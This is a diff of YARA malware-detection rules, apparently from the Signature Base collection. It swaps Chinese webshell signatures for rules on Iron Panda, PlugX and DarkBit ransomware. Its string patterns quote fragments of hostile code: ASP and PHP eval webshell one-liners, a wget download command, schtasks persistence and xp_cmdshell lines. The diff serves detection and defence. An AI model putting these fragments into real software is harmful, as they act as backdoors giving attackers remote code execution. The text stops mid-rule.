+		$s1 = "target=\\\"_blank\\\">Download</a></td>\";" ascii
+		$s2 = ",PASSWORD 1>/dev/null 2>/dev/null');" ascii
+		$s3 = ",base64_decode('" ascii
+		$s4 = "include \"remote.inc\";" ascii
+		$s5 = "@system('sudo /usr/local" ascii
 
 	condition:
-		filesize <30KB and all of them
+		uint16(0)==0x3f3c and filesize <9KB and (1 of ($x*) or 2 of them ) or 3 of them
 }
-rule SIGNATURE_BASE_Chinachopper_One : FILE
+rule SIGNATURE_BASE_Ironpanda_Dnstunclient : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file one.asp"
+		description = "Iron Panda malware DnsTunClient - file named.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "854fb5c9-38c7-5fd2-a473-66ae297070f5"
-		date = "2015-06-13"
+		id = "dd608176-d7e7-5819-a7d4-e8b89d4a59c2"
+		date = "2015-09-16"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L224-L237"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6cd28163be831a58223820e7abe43d5eacb14109"
-		logic_hash = "f9a6e4b8556eb3f1e1cbe0bc4eb225b9564ac59aae4a97f184806c6bec95578d"
-		score = 75
+		reference = "https://goo.gl/E4qia9"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger.yar#L10-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a08db49e198068709b7e52f16d00a10d72b4d26562c0d82b4544f8b0fb259431"
+		logic_hash = "07c142f6eb11ecc8ed5f55d6b0cc7110c6268e189f3ce29215f75b7aba91a290"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<%eval request(" ascii
+		$s1 = "dnstunclient -d or -domain <domain>" fullword ascii
+		$s2 = "dnstunclient -ip <server ip address>" fullword ascii
+		$s3 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"\\Microsoft\\Windows\\PLA\\System\\Microsoft Windows\" /tr " fullword ascii
+		$s4 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"Microsoft Windows\" /tr " fullword ascii
+		$s5 = "taskkill /im conime.exe" fullword ascii
+		$s6 = "\\dns control\\t-DNSTunnel\\DnsTunClient\\DnsTunClient.cpp" ascii
+		$s7 = "UDP error:can not bing the port(if there is unclosed the bind process?)" fullword ascii
+		$s8 = "use error domain,set domain pls use -d or -domain mark(Current: %s,recv %s)" fullword ascii
+		$s9 = "error: packet num error.the connection have condurt,pls try later" fullword ascii
+		$s10 = "Coversation produce one error:%s,coversation fail" fullword ascii
+		$s11 = "try to add many same pipe to select group(or mark is too easy)." fullword ascii
 
 	condition:
-		filesize <50 and all of them
+		( uint16(0)==0x5a4d and filesize <400KB and 2 of them ) or 5 of them
 }
-rule SIGNATURE_BASE_CN_Tools_Old : FILE
+rule SIGNATURE_BASE_Ironpanda_Malware1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file old.php"
+		description = "Iron Panda Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bfdb84e8-e5a8-53a4-ae71-e0d1b38d38ef"
-		date = "2015-06-13"
+		id = "14dc2611-4ca9-5dd2-ad00-9397a18d7be2"
+		date = "2015-09-16"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L239-L255"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f8a007758fda8aa1c0af3c43f3d7e3186a9ff307"
-		logic_hash = "3f0ac357e9a9fb4ee937b53145b33ba1041310d979cbc3feb0a4caf026b9b730"
+		reference = "https://goo.gl/E4qia9"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger.yar#L38-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a0cee5822ddf254c254a5a0b7372c9d2b46b088a254a1208cb32f5fe7eca848a"
+		logic_hash = "4b50a2c7f0f94b678fc560eefb217c067e934f8e7d64bc0f0d16afcccccd0d08"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$sCmd = \"wget -qc \".escapeshellarg($sURL).\" -O \".$sFile;" fullword ascii
-		$s1 = "$sURL = \"http://\".$sServer.\"/\".$sFile;" fullword ascii
-		$s2 = "chmod(\"/\".substr($sHash, 0, 2), 0777);" fullword ascii
-		$s3 = "$sCmd = \"echo 123> \".$sFileOut;" fullword ascii
+		$x1 = "activedsimp.dll" fullword wide
+		$s1 = "get_BadLoginAddress" fullword ascii
+		$s2 = "get_LastFailedLogin" fullword ascii
+		$s3 = "ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED" fullword ascii
+		$s4 = "get_PasswordExpirationDate" fullword ascii
 
 	condition:
-		filesize <6KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Item_301 : FILE
+rule SIGNATURE_BASE_Ironpanda_Webshell_JSP : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file item-301.php"
+		description = "Iron Panda Malware JSP"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4ee9a089-313f-53c1-8196-1348d721dbf4"
-		date = "2015-06-13"
+		id = "38125418-7867-5073-a731-4f1d64e07588"
+		date = "2015-09-16"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L257-L273"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "15636f0e7dc062437608c1f22b1d39fa15ab2136"
-		logic_hash = "623e235ff3eb0922fe8aee732144a15bcc0c580229654ae988353176f488b085"
+		reference = "https://goo.gl/E4qia9"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger.yar#L57-L72"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3be95477e1d9f3877b4355cff3fbcdd3589bb7f6349fd4ba6451e1e9d32b7fa6"
+		logic_hash = "747ce812b156bf03f8d14ef84e7d2e8535c7c70590dfcb50ce3e957bec745efc"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "$sURL = \"301:http://\".$sServer.\"/index.asp\";" fullword ascii
-		$s2 = "(gov)\\\\.(cn)$/i\", $aURL[\"host\"])" ascii
-		$s3 = "$aArg = explode(\" \", $sContent, 5);" fullword ascii
-		$s4 = "$sURL = $aArg[0];" fullword ascii
+		$s1 = "Bin_ExecSql(\"exec master..xp_cmdshell'bcp \\\"select safile from \" + db + \"..bin_temp\\\" queryout \\\"\" + Bin_TextBox_SaveP" ascii
+		$s2 = "tc.Text=\"<a href=\\\"javascript:Bin_PostBack('zcg_ClosePM','\"+Bin_ToBase64(de.Key.ToString())+\"')\\\">Close</a>\";" fullword ascii
+		$s3 = "Bin_ExecSql(\"IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp\");" fullword ascii
 
 	condition:
-		filesize <3KB and 3 of them
+		filesize <330KB and 1 of them
 }
-rule SIGNATURE_BASE_CN_Tools_Item : FILE
+rule SIGNATURE_BASE_Ironpanda_Malware_Htran : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file item.php"
+		description = "Iron Panda Malware Htran"
 		author = "Florian Roth (Nextron Systems)"
-		id = "954f24c9-d7d5-56d3-86f0-0cf8832640dd"
-		date = "2015-06-13"
+		id = "7215f0da-9367-59b4-a78b-aeeebc4f2b69"
+		date = "2015-09-16"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L275-L291"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a584db17ad93f88e56fd14090fae388558be08e4"
-		logic_hash = "1e927fd093aa11ad525f3f64d657f314520669b4237eac8f87d0be53cd848044"
+		reference = "https://goo.gl/E4qia9"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger.yar#L74-L102"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7903f94730a8508e9b272b3b56899b49736740cea5037ea7dbb4e690bcaf00e7"
+		logic_hash = "e7312a2d0ffc247eda20cb5453538a501bde6683bf34e7f4bf2230243474ba76"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "$sURL = \"http://\".$sServer.\"/\".$sWget;" fullword ascii
-		$s2 = "$sURL = \"301:http://\".$sServer.\"/\".$sWget;" fullword ascii
-		$s3 = "$sWget=\"index.asp\";" fullword ascii
-		$s4 = "$aURL += array(\"scheme\" => \"\", \"host\" => \"\", \"path\" => \"\");" fullword ascii
+		$s1 = "[-] Gethostbyname(%s) error:%s" fullword ascii
+		$s2 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
+		$s3 = "-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s4 = "[-] ERROR: Must supply logfile name." fullword ascii
+		$s5 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s6 = "[+] Make a Connection to %s:%d...." fullword ascii
+		$s7 = "[+] Waiting another Client on port:%d...." fullword ascii
+		$s8 = "[+] Accept a Client on port %d from %s" fullword ascii
+		$s9 = "[+] Make a Connection to %s:%d ......" fullword ascii
+		$s10 = "cmshared_get_ptr_from_atom" fullword ascii
+		$s11 = "_cmshared_get_ptr_from_atom" ascii
+		$s12 = "[+] OK! I Closed The Two Socket." fullword ascii
+		$s13 = "[-] TransmitPort invalid." fullword ascii
+		$s14 = "[+] Waiting for Client on port:%d ......" fullword ascii
 
 	condition:
-		filesize <4KB and all of them
+		( uint16(0)==0x5a4d and filesize <125KB and 3 of them ) or 5 of them
 }
-rule SIGNATURE_BASE_F3_Diy : FILE
+rule SIGNATURE_BASE_Ironpanda_Malware2 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file diy.asp"
+		description = "Iron Panda Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9f36c6dd-89e8-511b-a499-131f1e8a420a"
-		date = "2015-06-13"
+		id = "63916f73-808d-5dc7-86f3-05c8b9c5650d"
+		date = "2015-09-16"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L293-L307"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f39c2f64abe5e86d8d36dbb7b1921c7eab63bec9"
-		logic_hash = "37d6bc61d790ff30c98ded08ff875431fda525cd3ac10b4b1ba3f8f42167ed8c"
+		reference = "https://goo.gl/E4qia9"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger.yar#L104-L121"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a89c21dd608c51c4bf0323d640f816e464578510389f9edcf04cd34090decc91"
+		logic_hash = "060c681e7127349464cd98f99cef6e184fbd18d2ec415dc6c95d8ac329e6fe7e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<%@LANGUAGE=\"VBScript.Encode\" CODEPAGE=\"936\"%>" fullword ascii
-		$s5 = ".black {" fullword ascii
+		$s0 = "\\setup.exe" ascii
+		$s1 = "msi.dll.urlUT" fullword ascii
+		$s2 = "msi.dllUT" fullword ascii
+		$s3 = "setup.exeUT" fullword ascii
+		$s4 = "/c del /q %s" fullword ascii
 
 	condition:
-		uint16(0)==0x253c and filesize <10KB and all of them
+		uint16(0)==0x5a4d and filesize <180KB and all of them
 }
-rule SIGNATURE_BASE_Chinachopper_Temp : FILE
+rule SIGNATURE_BASE_Ironpanda_Malware3 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file temp.asp"
+		description = "Iron Panda Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f163787f-fcc9-568a-a12d-4057cb4f0d29"
-		date = "2015-06-13"
+		id = "bc3094ab-9dc8-5b9d-aa13-28daa7d5c13f"
+		date = "2015-09-16"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L309-L325"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b0561ea52331c794977d69704345717b4eb0a2a7"
-		logic_hash = "3669dfa10867970456f6638035a87d448e2b728387fbd07b59ffd981a1ab6200"
+		reference = "https://goo.gl/E4qia9"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger.yar#L123-L141"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5cd2af844e718570ae7ba9773a9075738c0b3b75c65909437c43201ce596a742"
+		logic_hash = "ca55fc5aa655fb221808b4c82db520cae24e0d93422293b6ed5e573b343e93ac"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "o.run \"ff\",Server,Response,Request,Application,Session,Error" fullword ascii
-		$s1 = "Set o = Server.CreateObject(\"ScriptControl\")" fullword ascii
-		$s2 = "o.language = \"vbscript\"" fullword ascii
-		$s3 = "o.addcode(Request(\"SC\"))" fullword ascii
+		$s0 = "PluginDeflater.exe" fullword wide
+		$s1 = ".Deflated" fullword wide
+		$s2 = "PluginDeflater" fullword ascii
+		$s3 = "DeflateStream" fullword ascii
+		$s4 = "CompressionMode" fullword ascii
+		$s5 = "System.IO.Compression" fullword ascii
 
 	condition:
-		filesize <1KB and all of them
+		uint16(0)==0x5a4d and filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_Tools_2015 : FILE
+rule SIGNATURE_BASE_Ironpanda_Malware4 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file 2015.jsp"
+		description = "Iron Panda Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "eb2826ab-ef8d-5a93-9ede-f5bbd7ab4ff4"
-		date = "2015-06-13"
+		id = "0a72c1e1-b442-52d4-af52-b863abe5ba3c"
+		date = "2015-09-16"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L327-L344"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8fc67359567b78cadf5d5c91a623de1c1d2ab689"
-		logic_hash = "2b93ef42c277fd8415cf89bf1bef3e841c56a2b4aa1507d99b84cd8adc9a0644"
+		reference = "https://goo.gl/E4qia9"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger.yar#L143-L159"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0d6da946026154416f49df2283252d01ecfb0c41c27ef3bc79029483adc2240c"
+		logic_hash = "12661c8862eeb82d55a3912e0a499beb6bb19f7abe9ccfe6fa0506e6a032cfe4"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Configbis = new BufferedInputStream(httpUrl.getInputStream());" fullword ascii
-		$s4 = "System.out.println(Oute.toString());" fullword ascii
-		$s5 = "String ConfigFile = Outpath + \"/\" + request.getParameter(\"ConFile\");" fullword ascii
-		$s8 = "HttpURLConnection httpUrl = null;" fullword ascii
-		$s19 = "Configbos = new BufferedOutputStream(new FileOutputStream(Outf));;" fullword ascii
+		$s0 = "TestPlugin.dll" fullword wide
+		$s1 = "<a href='http://www.baidu.com'>aasd</a>" fullword wide
+		$s2 = "Zcg.Test.AspxSpyPlugins" fullword ascii
+		$s6 = "TestPlugin" fullword ascii
 
 	condition:
-		filesize <7KB and all of them
+		uint16(0)==0x5a4d and filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_Chinachopper_Temp_2 : FILE
+rule SIGNATURE_BASE_Plugx_J16_Gen : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file temp.php"
+		description = "Detects PlugX Malware samples from June 2016"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3952ed2b-fb27-5c45-9cd7-b7a300b37c0e"
-		date = "2015-06-13"
+		id = "13ef1e80-7090-5a1e-bca7-8d3de0dc2247"
+		date = "2016-06-08"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L346-L359"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "604a4c07161ce1cd54aed5566e5720161b59deee"
-		logic_hash = "1b6d840797afcdbf7c72836557dbd486780c760471e79133810346c301cca80b"
+		reference = "VT Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_win_plugx.yar#L10-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3e988243663264b2647e098e36b83dd675141fa9765c9bd47c30f29bf176cd8f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "@eval($_POST[strtoupper(md5(gmdate(" ascii
+		$x1 = "%WINDIR%\\SYSTEM32\\SERVICES.EXE" fullword wide
+		$x2 = "\\\\.\\PIPE\\RUN_AS_USER(%d)" fullword wide
+		$x3 = "LdrLoadShellcode" fullword ascii
+		$x4 = "Protocol:[%4s], Host: [%s:%d], Proxy: [%d:%s:%d:%s:%s]" fullword ascii
+		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\User Agent\\Post Platform" fullword wide
+		$s2 = "%s\\msiexec.exe %d %d" fullword wide
+		$s3 = "l%s\\sysprep\\CRYPTBASE.DLL" fullword wide
+		$s4 = "%s\\msiexec.exe UAC" fullword wide
+		$s5 = "CRYPTBASE.DLL" fullword wide
+		$s6 = "%ALLUSERSPROFILE%\\SxS" fullword wide
+		$s7 = "%s\\sysprep\\sysprep.exe" fullword wide
+		$s8 = "\\\\.\\pipe\\a%d" fullword wide
+		$s9 = "\\\\.\\pipe\\b%d" fullword wide
+		$s10 = "EName:%s,EAddr:0x%p,ECode:0x%p,EAX:%p,EBX:%p,ECX:%p,EDX:%p,ESI:%p,EDI:%p,EBP:%p,ESP:%p,EIP:%p" fullword ascii
+		$s11 = "Mozilla/4.0 (compatible; MSIE " fullword wide
+		$s12 = "; Windows NT %d.%d" fullword wide
+		$s13 = "SOFTWARE\\Microsoft\\Internet Explorer\\Version Vector" fullword wide
+		$s14 = "\\bug.log" wide
 
 	condition:
-		filesize <150 and all of them
+		( uint16(0)==0x5a4d and filesize <600KB and (1 of ($x*) or 4 of ($s*))) or (8 of them )
 }
-rule SIGNATURE_BASE_Templatr : FILE
+rule SIGNATURE_BASE_Plugx_J16_Gen2 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file templatr.php"
+		description = "Detects PlugX Malware Samples from June 2016"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b361a49d-1e05-5597-bf8b-735e04397ffa"
-		date = "2015-06-13"
+		id = "28e9cbb9-cd60-555d-b033-4e2bf293adf2"
+		date = "2016-06-08"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L361-L374"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "759df470103d36a12c7d8cf4883b0c58fe98156b"
-		logic_hash = "80d207ee47c0c602ddd281e0e187b83cdb4f1385f4b46ad2a4f5630b8f9e96a1"
+		reference = "VT Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_win_plugx.yar#L42-L62"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8fbe90cbff5d408d26b0a5ace6833a0e3100d11ff544184d9ccc2f39ee806de9"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "eval(gzinflate(base64_decode('" ascii
+		$s1 = "XPlugKeyLogger.cpp" fullword ascii
+		$s2 = "XPlugProcess.cpp" fullword ascii
+		$s4 = "XPlgLoader.cpp" fullword ascii
+		$s5 = "XPlugPortMap.cpp" fullword ascii
+		$s8 = "XPlugShell.cpp" fullword ascii
+		$s11 = "file: %s, line: %d, error: [%d]%s" fullword ascii
+		$s12 = "XInstall.cpp" fullword ascii
+		$s13 = "XPlugTelnet.cpp" fullword ascii
+		$s14 = "XInstallUAC.cpp" fullword ascii
 
 	condition:
-		filesize <70KB and all of them
+		( uint16(0)==0x5a4d and filesize <600KB and (2 of ($s*))) or (5 of them )
 }
-rule SIGNATURE_BASE_Reduhservers_Reduh_3 : FILE
+rule SIGNATURE_BASE_MAL_RANSOM_Darkbit_Feb23_1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file reDuh.aspx"
-		author = "Florian Roth (Nextron Systems)"
-		id = "69f5fd6b-a9b3-500b-8723-d1c82494903d"
-		date = "2015-06-13"
+		description = "Detects indicators found in DarkBit ransomware"
+		author = "Florian Roth"
+		id = "d209a0c2-f649-5fb1-9ecd-f1c35caa796f"
+		date = "2023-02-13"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L376-L392"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0744f64c24bf4c0bef54651f7c88a63e452b3b2d"
-		logic_hash = "5a3bc023e0e8a5ccc8ee8e1b5e7ee0fca64e3f92b72d0aad15b25c82a23da487"
+		reference = "https://twitter.com/idonaor1/status/1624703255770005506?s=12&t=mxHaauzwR6YOj5Px8cIeIw"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ransom_darkbit_feb23.yar#L2-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ba1baea7cb7362160c4b00b0355000a789b238c1ec82b840479c04028e6ca3ab"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Response.Write(\"[Error]Unable to connect to reDuh.jsp main process on port \" +" ascii
-		$s2 = "host = System.Net.Dns.Resolve(\"127.0.0.1\");" fullword ascii
-		$s3 = "rw.WriteLine(\"[newData]\" + targetHost + \":\" + targetPort + \":\" + socketNum" ascii
-		$s4 = "Response.Write(\"Error: Bad port or host or socketnumber for creating new socket" ascii
+		$s1 = ".onion" ascii
+		$s2 = "GetMOTWHostUrl"
+		$x1 = "hus31m7c7ad.onion"
+		$x2 = "iw6v2p3cruy"
+		$xn1 = "You will receive decrypting key after the payment."
 
 	condition:
-		filesize <40KB and all of them
+		uint16(0)==0x5a4d and filesize <10MB and (1 of ($x*) or 2 of them ) or 4 of them or ( filesize <10MB and $xn1)
 }
-rule SIGNATURE_BASE_Chinachopper_Temp_3 : FILE
+rule SIGNATURE_BASE_MAL_RANSOM_Darkbit_Feb23_2 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file temp.aspx"
-		author = "Florian Roth (Nextron Systems)"
-		id = "573e7da6-f58f-5814-b3e8-a0db3ecfe558"
-		date = "2015-06-13"
+		description = "Detects Go based DarkBit ransomware (garbled code; could trigger on other obfuscated samples, too)"
+		author = "Florian Roth"
+		id = "f530815c-68e7-55f1-8e36-bc74a1059584"
+		date = "2023-02-13"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L394-L408"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c5ecb8bc1d7f0e716b06107b5bd275008acaf7b7"
-		logic_hash = "6a0d7817607362f325957e30cace24d32635b7e0411e161588ee573118f91b6a"
+		reference = "https://www.hybrid-analysis.com/sample/9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff?environmentId=160"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ransom_darkbit_feb23.yar#L25-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "577435536300902811612a3415e82420574c98345b91b21fb2bfd2bfde396bec"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff"
 
 	strings:
-		$s0 = "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"" ascii
-		$s1 = "\"],\"unsafe\");%>" ascii
+		$s1 = "runtime.initLongPathSupport" ascii fullword
+		$s2 = "reflect." ascii
+		$s3 = "    \"processes\": []," ascii fullword
+		$s4 = "^!* %!(!" ascii fullword
+		$op1 = { 4d 8b b6 00 00 00 00 48 8b 94 24 40 05 00 00 31 c0 87 82 30 03 00 00 b8 01 00 00 00 f0 0f c1 82 00 03 00 00 48 8b 44 24 48 48 8b 0d ba 1f 32 00 }
+		$op2 = { 49 8d 49 01 0f 1f 00 48 39 d9 7c e2 b9 0b 00 00 00 49 89 d8 e9 28 fc ff ff e8 89 6c d7 ff }
 
 	condition:
-		uint16(0)==0x253c and filesize <150 and all of them
+		uint16(0)==0x5a4d and filesize <20000KB and all of them
 }
-rule SIGNATURE_BASE_Shell_Asp : FILE
+rule SIGNATURE_BASE_Recon_Commands_Windows_Gen1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set Webshells - file Asp.html"
+		description = "Detects a set of reconnaissance commands on Windows systems"
 		author = "Florian Roth (Nextron Systems)"
-		id = "52089205-8f36-5a0b-a1ae-67c91a253ad2"
-		date = "2015-06-14"
+		id = "bc95265c-780d-5451-bd12-d14495877e46"
+		date = "2017-07-10"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L410-L425"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5e0bc914ac287aa1418f6554ddbe0ce25f2b5f20"
